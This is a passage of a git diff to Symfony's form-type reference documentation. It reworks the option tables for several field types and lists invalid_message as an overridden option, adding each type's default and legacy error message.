-|             | - `invalid_message_parameters`_                                      |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                             |
++---------------------------+----------------------------------------------------------------------+
+| Options                   | - `grouping`_                                                        |
+|                           | - `html5`_                                                           |
+|                           | - `input`_                                                           |
+|                           | - `scale`_                                                           |
+|                           | - `rounding_mode`_                                                   |
++---------------------------+----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                        |
+|                           | - `invalid_message`_                                                 |
++---------------------------+----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                            |
+|                           | - `data`_                                                            |
+|                           | - `disabled`_                                                        |
+|                           | - `empty_data`_                                                      |
+|                           | - `error_bubbling`_                                                  |
+|                           | - `error_mapping`_                                                   |
+|                           | - `help`_                                                            |
+|                           | - `help_attr`_                                                       |
+|                           | - `help_html`_                                                       |
+|                           | - `invalid_message_parameters`_                                      |
+|                           | - `label`_                                                           |
+|                           | - `label_attr`_                                                      |
+|                           | - `label_format`_                                                    |
+|                           | - `mapped`_                                                          |
+|                           | - `required`_                                                        |
+|                           | - `row_attr`_                                                        |
++---------------------------+----------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a number.                                               |
++---------------------------+----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\NumberType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -86,6 +89,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -115,8 +120,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/password.rst b/reference/forms/types/password.rst
index 37acff1a616..10b38a5ac8b 100644
--- a/reference/forms/types/password.rst
+++ b/reference/forms/types/password.rst
@@ -6,33 +6,37 @@ PasswordType Field
 
 The ``PasswordType`` field renders an input password text box.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | ``input`` ``password`` field                                           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `always_empty`_                                                      |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `trim`_                                                              |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `disabled`_                                                          |
-|             | - `empty_data`_                                                        |
-|             | - `error_bubbling`_                                                    |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `label`_                                                             |
-|             | - `label_attr`_                                                        |
-|             | - `label_format`_                                                      |
-|             | - `mapped`_                                                            |
-|             | - `required`_                                                          |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | ``input`` ``password`` field                                           |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `always_empty`_                                                      |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                   |
+|                           | - `trim`_                                                              |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                              |
+|                           | - `disabled`_                                                          |
+|                           | - `empty_data`_                                                        |
+|                           | - `error_bubbling`_                                                    |
+|                           | - `error_mapping`_                                                     |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `label`_                                                             |
+|                           | - `label_attr`_                                                        |
+|                           | - `label_format`_                                                      |
+|                           | - `mapped`_                                                            |
+|                           | - `required`_                                                          |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | The password is invalid.                                               |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PasswordType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -54,6 +58,8 @@ entered into the box, set this to false and submit the form.
 Overridden Options
 ------------------
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 ``trim``
 ~~~~~~~~
 
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 4b21f1f2856..3dd47e1d320 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -12,40 +12,43 @@ you can use this field out-of-the-box. If you store your data as a number
 When ``symbol`` is not ``false``, the field will render the given string after
 the input.
 
-+-------------+-----------------------------------------------------------------------+
-| Rendered as | ``input`` ``text`` field                                              |
-+-------------+-----------------------------------------------------------------------+
-| Options     | - `html5`_                                                            |
-|             | - `rounding_mode`_                                                    |
-|             | - `scale`_                                                            |
-|             | - `symbol`_                                                           |
-|             | - `type`_                                                             |
-+-------------+-----------------------------------------------------------------------+
-| Overridden  | - `compound`_                                                         |
-| options     |                                                                       |
-+-------------+-----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                             |
-| options     | - `data`_                                                             |
-|             | - `disabled`_                                                         |
-|             | - `empty_data`_                                                       |
-|             | - `error_bubbling`_                                                   |
-|             | - `error_mapping`_                                                    |
-|             | - `help`_                                                             |
-|             | - `help_attr`_                                                        |
-|             | - `help_html`_                                                        |
-|             | - `invalid_message`_                                                  |
-|             | - `invalid_message_parameters`_                                       |
-|             | - `label`_                                                            |
-|             | - `label_attr`_                                                       |
-|             | - `label_format`_                                                     |
-|             | - `mapped`_                                                           |
-|             | - `required`_                                                         |
-|             | - `row_attr`_                                                         |
-+-------------+-----------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                         |
-+-------------+-----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
-+-------------+-----------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------+
+| Rendered as               | ``input`` ``text`` field                                              |
++---------------------------+-----------------------------------------------------------------------+
+| Options                   | - `html5`_                                                            |
+|                           | - `rounding_mode`_                                                    |
+|                           | - `scale`_                                                            |
+|                           | - `symbol`_                                                           |
+|                           | - `type`_                                                             |
++---------------------------+-----------------------------------------------------------------------+
+| Overridden options        | - `compound`_                                                         |
+|                           | - `invalid_message`_                                                  |
++---------------------------+-----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                             |
+|                           | - `data`_                                                             |
+|                           | - `disabled`_                                                         |
+|                           | - `empty_data`_                                                       |
+|                           | - `error_bubbling`_                                                   |
+|                           | - `error_mapping`_                                                    |
+|                           | - `help`_                                                             |
+|                           | - `help_attr`_                                                        |
+|                           | - `help_html`_                                                        |
+|                           | - `invalid_message_parameters`_                                       |
+|                           | - `label`_                                                            |
+|                           | - `label_attr`_                                                       |
+|                           | - `label_format`_                                                     |
+|                           | - `mapped`_                                                           |
+|                           | - `required`_                                                         |
+|                           | - `row_attr`_                                                         |
++---------------------------+-----------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a percentage value.                                      |
++---------------------------+-----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                   |
++---------------------------+-----------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                         |
++---------------------------+-----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\PercentType` |
++---------------------------+-----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -115,6 +118,8 @@ Overridden Options
 
 .. include:: /reference/forms/types/options/compound_type.rst.inc
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -144,8 +149,6 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/label.rst.inc
diff --git a/reference/forms/types/radio.rst b/reference/forms/types/radio.rst
index ae0d58d2fe4..579dab0bc1d 100644
--- a/reference/forms/types/radio.rst
+++ b/reference/forms/types/radio.rst
@@ -13,38 +13,49 @@ The ``RadioType`` isn't usually used directly. More commonly it's used
 internally by other types such as :doc:`ChoiceType </reference/forms/types/choice>`.
 If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/types/checkbox>`.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``radio`` field                                           |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | from the :doc:`CheckboxType </reference/forms/types/checkbox>`:     |
-| options     |                                                                     |
-|             | - `value`_                                                          |
-|             |                                                                     |
-|             | from the :doc:`FormType </reference/forms/types/form>`:             |
-|             |                                                                     |
-|             | - `attr`_                                                           |
-|             | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``radio`` field                                           |
++---------------------------+---------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                |
++---------------------------+---------------------------------------------------------------------+
+| Inherited options         | from the :doc:`CheckboxType </reference/forms/types/checkbox>`:     |
+|                           |                                                                     |
+|                           | - `value`_                                                          |
+|                           |                                                                     |
+|                           | from the :doc:`FormType </reference/forms/types/form>`:             |
+|                           |                                                                     |
+|                           | - `attr`_                                                           |
+|                           | - `data`_                                                           |
+|                           | - `disabled`_                                                       |
+|                           | - `empty_data`_                                                     |
+|                           | - `error_bubbling`_                                                 |
+|                           | - `error_mapping`_                                                  |
+|                           | - `help`_                                                           |
+|                           | - `help_attr`_                                                      |
+|                           | - `help_html`_                                                      |
+|                           | - `label`_                                                          |
+|                           | - `label_attr`_                                                     |
+|                           | - `label_format`_                                                   |
+|                           | - `mapped`_                                                         |
+|                           | - `required`_                                                       |
+|                           | - `row_attr`_                                                       |
++---------------------------+---------------------------------------------------------------------+
+| Default `invalid_message` | Please select a valid option.                                       |
++---------------------------+---------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RadioType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index e328a1bbe97..ab3a0d15859 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -7,29 +7,35 @@ RangeType Field
 The ``RangeType`` field is a slider that is rendered using the HTML5
 ``<input type="range"/>`` tag.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``range`` field (slider in HTML5 supported browser)       |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
-+-------------+---------------------------------------------------------------------+
++---------------------------+---------------------------------------------------------------------+
+| Rendered as               | ``input`` ``range`` field (slider in HTML5 supported browser)       |
++---------------------------+---------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                |
++---------------------------+---------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                           |
+|                           | - `data`_                                                           |
+|                           | - `disabled`_                                                       |
+|                           | - `empty_data`_                                                     |
+|                           | - `error_bubbling`_                                                 |
+|                           | - `error_mapping`_                                                  |
+|                           | - `help`_                                                           |
+|                           | - `help_attr`_                                                      |
+|                           | - `help_html`_                                                      |
+|                           | - `label`_                                                          |
+|                           | - `label_attr`_                                                     |
+|                           | - `mapped`_                                                         |
+|                           | - `required`_                                                       |
+|                           | - `row_attr`_                                                       |
+|                           | - `trim`_                                                           |
++---------------------------+---------------------------------------------------------------------+
+| Default `invalid_message` | Please choose a valid range.                                        |
++---------------------------+---------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
++---------------------------+---------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
++---------------------------+---------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RangeType` |
++---------------------------+---------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -48,6 +54,11 @@ Basic Usage
         ]
     ]);
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index c78e6cc318e..7a9f6d9d9be 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -9,34 +9,37 @@ values must match (or a validation error is thrown). The most common use
 is when you need the user to repeat their password or email to verify
 accuracy.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | input ``text`` field by default, but see `type`_ option                |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `first_name`_                                                        |
-|             | - `first_options`_                                                     |
-|             | - `options`_                                                           |
-|             | - `second_name`_                                                       |
-|             | - `second_options`_                                                    |
-|             | - `type`_                                                              |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `error_bubbling`_                                                    |
-| options     |                                                                        |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                              |
-| options     | - `data`_                                                              |
-|             | - `error_mapping`_                                                     |
-|             | - `help`_                                                              |
-|             | - `help_attr`_                                                         |
-|             | - `help_html`_                                                         |
-|             | - `invalid_message`_                                                   |
-|             | - `invalid_message_parameters`_                                        |
-|             | - `mapped`_                                                            |
-|             | - `row_attr`_                                                          |
-+-------------+------------------------------------------------------------------------+
-| Parent type | :doc:`FormType </reference/forms/types/form>`                          |
-+-------------+------------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
-+-------------+------------------------------------------------------------------------+
++---------------------------+------------------------------------------------------------------------+
+| Rendered as               | input ``text`` field by default, but see `type`_ option                |
++---------------------------+------------------------------------------------------------------------+
+| Options                   | - `first_name`_                                                        |
+|                           | - `first_options`_                                                     |
+|                           | - `options`_                                                           |
+|                           | - `second_name`_                                                       |
+|                           | - `second_options`_                                                    |
+|                           | - `type`_                                                              |
++---------------------------+------------------------------------------------------------------------+
+| Overridden options        | - `error_bubbling`_                                                    |
+|                           | - `invalid_message`_                                                   |
++---------------------------+------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                              |
+|                           | - `data`_                                                              |
+|                           | - `error_mapping`_                                                     |
+|                           | - `help`_                                                              |
+|                           | - `help_attr`_                                                         |
+|                           | - `help_html`_                                                         |
+|                           | - `invalid_message_parameters`_                                        |
+|                           | - `mapped`_                                                            |
+|                           | - `row_attr`_                                                          |
++---------------------------+------------------------------------------------------------------------+
+| Default `invalid_message` | The values do not match.                                               |
++---------------------------+------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
++---------------------------+------------------------------------------------------------------------+
+| Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
++---------------------------+------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\RepeatedType` |
++---------------------------+------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -184,6 +187,8 @@ Overridden Options
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -201,8 +206,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/help_html.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index e0f8233aa5b..f9c53733872 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -9,32 +9,43 @@ special functionality supported by some browsers.
 
 Read about the input search field at `DiveIntoHTML5.info`_
 
-+-------------+----------------------------------------------------------------------+
-| Rendered as | ``input search`` field                                               |
-+-------------+----------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                            |
-| options     | - `disabled`_                                                        |
-|             | - `empty_data`_                                                      |
-|             | - `error_bubbling`_                                                  |
-|             | - `error_mapping`_                                                   |
-|             | - `help`_                                                            |
-|             | - `help_attr`_                                                       |
-|             | - `help_html`_                                                       |
-|             | - `label`_                                                           |
-|             | - `label_attr`_                                                      |
-|             | - `label_format`_                                                    |
-|             | - `mapped`_                                                          |
-|             | - `required`_                                                        |
-|             | - `row_attr`_                                                        |
-|             | - `trim`_                                                            |
-+-------------+----------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                        |
-+-------------+----------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
-+-------------+----------------------------------------------------------------------+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | ``input search`` field                                               |
++---------------------------+----------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                                 |
++---------------------------+----------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                            |
+|                           | - `disabled`_                                                        |
+|                           | - `empty_data`_                                                      |
+|                           | - `error_bubbling`_                                                  |
+|                           | - `error_mapping`_                                                   |
+|                           | - `help`_                                                            |
+|                           | - `help_attr`_                                                       |
+|                           | - `help_html`_                                                       |
+|                           | - `label`_                                                           |
+|                           | - `label_attr`_                                                      |
+|                           | - `label_format`_                                                    |
+|                           | - `mapped`_                                                          |
+|                           | - `required`_                                                        |
+|                           | - `row_attr`_                                                        |
+|                           | - `trim`_                                                            |
++---------------------------+----------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid search term.                                    |
++---------------------------+----------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                        |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\SearchType` |
++---------------------------+----------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index f6c19391ada..fc45434bc4e 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -13,33 +13,44 @@ Nevertheless, it may be useful to use this type in web applications because some
 browsers (e.g. smartphone browsers) adapt the input keyboard to make it easier
 to input phone numbers.
 
-+-------------+---------------------------------------------------------------------+
-| Rendered as | ``input`` ``tel`` field (a text box)                                |
-+-------------+---------------------------------------------------------------------+
-| Inherited   | - `attr`_                                                           |
-| options     | - `data`_                                                           |
-|             | - `disabled`_                                                       |
-|             | - `empty_data`_                                                     |
-|             | - `error_bubbling`_                                                 |
-|             | - `error_mapping`_                                                  |
-|             | - `help`_                                                           |
-|             | - `help_attr`_                                                      |
-|             | - `help_html`_                                                      |
-|             | - `label`_                                                          |
-|             | - `label_attr`_                                                     |
-|             | - `label_format`_                                                   |
-|             | - `mapped`_                                                         |
-|             | - `required`_                                                       |
-|             | - `row_attr`_                                                       |
-|             | - `trim`_                                                           |
-+-------------+---------------------------------------------------------------------+
-| Parent type | :doc:`TextType </reference/forms/types/text>`                       |
-+-------------+---------------------------------------------------------------------+
-| Class       | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType`   |
-+-------------+---------------------------------------------------------------------+
++---------------------------+-------------------------------------------------------------------+
+| Rendered as               | ``input`` ``tel`` field (a text box)                              |
++---------------------------+-------------------------------------------------------------------+
+| Overridden options        | - `invalid_message`_                                              |
++---------------------------+-------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                         |
+|                           | - `data`_                                                         |
+|                           | - `disabled`_                                                     |
+|                           | - `empty_data`_                                                   |
+|                           | - `error_bubbling`_                                               |
+|                           | - `error_mapping`_                                                |
+|                           | - `help`_                                                         |
+|                           | - `help_attr`_                                                    |
+|                           | - `help_html`_                                                    |
+|                           | - `label`_                                                        |
+|                           | - `label_attr`_                                                   |
+|                           | - `label_format`_                                                 |
+|                           | - `mapped`_                                                       |
+|                           | - `required`_                                                     |
+|                           | - `row_attr`_                                                     |
+|                           | - `trim`_                                                         |
++---------------------------+-------------------------------------------------------------------+
+| Default `invalid_message` | Please provide a valid phone number.                              |
++---------------------------+-------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                               |
++---------------------------+-------------------------------------------------------------------+
+| Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
++---------------------------+-------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TelType` |
++---------------------------+-------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
+Overridden Options
+------------------
+
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 042e3e7da0c..08c3efb77f4 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -10,48 +10,52 @@ This can be rendered as a text field, a series of text fields (e.g. hour,
 minute, second) or a series of select fields. The underlying data can be
 stored as a ``DateTime`` object, a string, a timestamp or an array.
 
-+----------------------+-----------------------------------------------------------------------------+
-| Underlying Data Type | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
-+----------------------+-----------------------------------------------------------------------------+
-| Rendered as          | can be various tags (see below)                                             |
-+----------------------+-----------------------------------------------------------------------------+
-| Options              | - `choice_translation_domain`_                                              |
-|                      | - `placeholder`_                                                            |
-|                      | - `hours`_                                                                  |
-|                      | - `html5`_                                                                  |
-|                      | - `input`_                                                                  |
-|                      | - `input_format`_                                                           |
-|                      | - `minutes`_                                                                |
-|                      | - `model_timezone`_                                                         |
-|                      | - `reference_date`_                                                         |
-|                      | - `seconds`_                                                                |
-|                      | - `view_timezone`_                                                          |
-|                      | - `widget`_                                                                 |
-|                      | - `with_minutes`_                                                           |
-|                      | - `with_seconds`_                                                           |
-+----------------------+-----------------------------------------------------------------------------+
-| Overridden options   | - `by_reference`_                                                           |
-|                      | - `compound`_                                                               |
-|                      | - `data_class`_                                                             |
-|                      | - `error_bubbling`_                                                         |
-+----------------------+-----------------------------------------------------------------------------+
-| Inherited            | - `attr`_                                                                   |
-| options              | - `data`_                                                                   |
-|                      | - `disabled`_                                                               |
-|                      | - `error_mapping`_                                                          |
-|                      | - `help`_                                                                   |
-|                      | - `help_attr`_                                                              |
-|                      | - `help_html`_                                                              |
-|                      | - `inherit_data`_                                                           |
-|                      | - `invalid_message`_                                                        |
-|                      | - `invalid_message_parameters`_                                             |
-|                      | - `mapped`_                                                                 |
-|                      | - `row_attr`_                                                               |
-+----------------------+-----------------------------------------------------------------------------+
-| Parent type          | FormType                                                                    |
-+----------------------+-----------------------------------------------------------------------------+
-| Class                | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
-+----------------------+-----------------------------------------------------------------------------+
++---------------------------+-----------------------------------------------------------------------------+
+| Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
++---------------------------+-----------------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                             |
++---------------------------+-----------------------------------------------------------------------------+
+| Options                   | - `choice_translation_domain`_                                              |
+|                           | - `placeholder`_                                                            |
+|                           | - `hours`_                                                                  |
+|                           | - `html5`_                                                                  |
+|                           | - `input`_                                                                  |
+|                           | - `input_format`_                                                           |
+|                           | - `minutes`_                                                                |
+|                           | - `model_timezone`_                                                         |
+|                           | - `reference_date`_                                                         |
+|                           | - `seconds`_                                                                |
+|                           | - `view_timezone`_                                                          |
+|                           | - `widget`_                                                                 |
+|                           | - `with_minutes`_                                                           |
+|                           | - `with_seconds`_                                                           |
++---------------------------+-----------------------------------------------------------------------------+
+| Overridden options        | - `by_reference`_                                                           |
+|                           | - `compound`_                                                               |
+|                           | - `data_class`_                                                             |
+|                           | - `error_bubbling`_                                                         |
+|                           | - `invalid_message`_                                                        |
++---------------------------+-----------------------------------------------------------------------------+
+| Inherited options         | - `attr`_                                                                   |
+|                           | - `data`_                                                                   |
+|                           | - `disabled`_                                                               |
+|                           | - `error_mapping`_                                                          |
+|                           | - `help`_                                                                   |
+|                           | - `help_attr`_                                                              |
+|                           | - `help_html`_                                                              |
+|                           | - `inherit_data`_                                                           |
+|                           | - `invalid_message_parameters`_                                             |
+|                           | - `mapped`_                                                                 |
+|                           | - `row_attr`_                                                               |
++---------------------------+-----------------------------------------------------------------------------+
+| Default `invalid_message` | Please enter a valid time.                                                  |
++---------------------------+-----------------------------------------------------------------------------+
+| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
++---------------------------+-----------------------------------------------------------------------------+
+| Parent type               | FormType                                                                    |
++---------------------------+-----------------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\TimeType`          |
++---------------------------+-----------------------------------------------------------------------------+
 
 .. include:: /reference/forms/types/options/_debug_form.rst.inc
 
@@ -220,6 +224,8 @@ error_bubbling
 
 **default**: ``false``
 
+.. include:: /reference/forms/types/options/invalid_message.rst.inc
+
 Inherited Options
 -----------------
 
@@ -241,8 +247,6 @@ These options inherit from the :doc:`FormType </reference/forms/types/form>`:
 
 .. include:: /reference/forms/types/options/inherit_data.rst.inc
 
-.. include:: /reference/forms/types/options/invalid_message.rst.inc
-
 .. include:: /reference/forms/types/options/invalid_message_parameters.rst.inc
 
 .. include:: /reference/forms/types/options/mapped.rst.inc
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index c18cdbaf339..64e17890de8 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -14,45 +14,50 @@ Unlike the ``ChoiceType``, you don't need to specify a ``choices`` option as the
 field type automatically uses a large list of timezones. You *can* specify the option
 manually, but then you should just use the ``ChoiceType`` directly.
 
-+-------------+------------------------------------------------------------------------+
-| Rendered as | can be various tags (see :ref:`forms-reference-choice-tags`)           |
-+-------------+------------------------------------------------------------------------+
-| Options     | - `input`_                                                             |
-|             | - `intl`_                                                              |
-+-------------+------------------------------------------------------------------------+
-| Overridden  | - `choices`_                                                           |
-| options     | - `choice_translation_domain`_                                         |
-+-------------+------------------------------------------------------------------------+
-| Inherited   | from the :doc:`ChoiceType </reference/forms/types/choice>`             |
-| options     |                                                                        |
-|             | - `expanded`_                                                          |
-|             | - `multiple`_                                                          |
-|             | - `placeholder`_                                                       |
